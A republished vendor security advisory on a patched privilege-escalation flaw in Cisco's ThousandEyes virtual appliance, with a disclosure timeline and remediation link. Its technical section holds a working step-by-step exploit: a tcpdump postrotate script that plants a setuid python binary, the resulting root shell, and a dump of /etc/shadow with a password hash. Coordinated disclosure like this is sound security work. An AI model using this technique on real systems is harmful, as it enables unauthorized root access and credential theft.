what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation

Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation
Posted Aug 18, 2023
Authored by Jim Becher | Site korelogic.com

Cisco ThousandEyes Enterprise Agent Virtual Appliance version thousandeyes-va-64-18.04 0.218 has an insecure sudo configuration which permits a low-privilege user to run arbitrary commands as root via the tcpdump command without a password.

tags | exploit, arbitrary, root
systems | cisco
advisories | CVE-2023-20224
SHA-256 | f0f074bfbbdfcf50b89b456bedfa1d6e2dad916eb9c805528576e82777cae103

Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation

Change Mirror Download
KL-001-2023-002: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump

Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump
Advisory ID: KL-001-2023-002
Publication Date: 2023.08.17
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-002.txt


1. Vulnerability Details

Affected Vendor: ThousandEyes
Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
Affected Version: thousandeyes-va-64-18.04 0.218
Platform: Linux / Ubuntu 18.04
CWE Classification: CWE-1395: Dependency on Vulnerable
Third-Party Component
CVE ID: CVE-2023-20224


2. Vulnerability Description

An insecure sudo configuration permits a low-privilege user
to run arbitrary commands as root via the 'tcpdump' command
without a password.


3. Technical Description

The ThousandEyes Virtual Appliance is distributed with a
restrictive set of commands that can be executed via sudo,
without having to provide the password for the 'thousandeyes'
account. However, the ability to execute tcpdump via sudo is
permitted without requiring the password. The post-rotate
functionality of tcpdump can be used to execute arbitrary
commands on the virtual appliance, allowing a privilege
escalation to root. This is a known privilege escalation
path, but had not been disclosed for the ThousandEyes Virtual
Appliance.

$ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa thousandeyes@1.3.3.7
Welcome to ThousandEyes!
Last login: Tue Jan 3 20:16:37 2023 from 1.3.3.8
thousandeyes@thousandeyes-va:~$ id
uid=1000(thousandeyes) gid=1000(thousandeyes)
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
thousandeyes@thousandeyes-va:~$ sudo -l
Matching Defaults entries for thousandeyes on thousandeyes-va:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User thousandeyes may run the following commands on thousandeyes-va:
(ALL : ALL) ALL
(ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va,
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig,
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
/usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa,
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate,
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
(root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that tcpdump is available as root with no password,
and no restrictions on the arguments it can be passed.

Prepare a malicious script, then have tcpdump execute it as a
postrotate command. Note, this needs to be more than simply
a setuid copy of bash as it will drop privs if UID!=EUID, but
python will not.

thousandeyes@thousandeyes-va:~$ cat /tmp/x4
COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

thousandeyes@thousandeyes-va:~$ cat /tmp/runme4
/python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'

thousandeyes@thousandeyes-va:~$ /tmp/x4
dropped privs to root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

In another ssh session as the 'thousandeyes' user, execute
'ping -c 1 127.0.0.1' to trigger tcpdump rotation:

Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel

Execute the setuid python which then launches a shell:

thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4
# id
uid=0(root) gid=1000(thousandeyes)
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

# bash
root@thousandeyes-va:~# id
uid=0(root) gid=1000(thousandeyes)
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

root@thousandeyes-va:~# cat /etc/shadow
root:!:19145:0:99999:7:::
daemon:!*:18885:0:99999:7:::
bin:!*:18885:0:99999:7:::
sys:!*:18885:0:99999:7:::
sync:!*:18885:0:99999:7:::
games:!*:18885:0:99999:7:::
man:!*:18885:0:99999:7:::
lp:!*:18885:0:99999:7:::
mail:!*:18885:0:99999:7:::
news:!*:18885:0:99999:7:::
uucp:!*:18885:0:99999:7:::
proxy:!*:18885:0:99999:7:::
www-data:!*:18885:0:99999:7:::
backup:!*:18885:0:99999:7:::
list:!*:18885:0:99999:7:::
irc:!*:18885:0:99999:7:::
gnats:!*:18885:0:99999:7:::
nobody:*:18885:0:99999:7:::
systemd-network:!*:18885:0:99999:7:::
systemd-resolve:!*:18885:0:99999:7:::
syslog:!*:18885:0:99999:7:::
messagebus:!*:18885:0:99999:7:::
_apt:!*:18885:0:99999:7:::
thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::
rdnssd:!*:19146:7:99999:30:::
browserbot:!:19146::::::
cntlm:!*:19146:7:99999:30:::
sshd:!*:19146:7:99999:30:::
root@thousandeyes-va:~#


4. Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described
vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3


5. Credit

This vulnerability was discovered by Jim Becher of
KoreLogic, Inc.


6. Disclosure Timeline

2023.04.26 - KoreLogic submits vulnerability details to Cisco.
2023.04.26 - Cisco acknowledges receipt and the intention to
investigate.
2023.05.04 - Cisco notifies KoreLogic that a remediation for this
vulnerability is expected to be available within
90 days.
2023.06.30 - 45 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.07.11 - Cisco informs KoreLogic that the issue has been
remediated in the latest ThousandEyes Virtual
Appliance and a public advisory will be released
2023.08.16.
2023.07.24 - 60 business days have elapsed since KoreLogic reported
this vulnerability to the vendor.
2023.08.09 - Cisco provides KoreLogic with CVE-2023-20224 to
track this vulnerability.
2023.08.16 - Cisco public acknowledgement.
2023.08.17 - KoreLogic public disclosure.


7. Proof of Concept

See 3. Technical Description.


The contents of this advisory are copyright(c) 2023
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close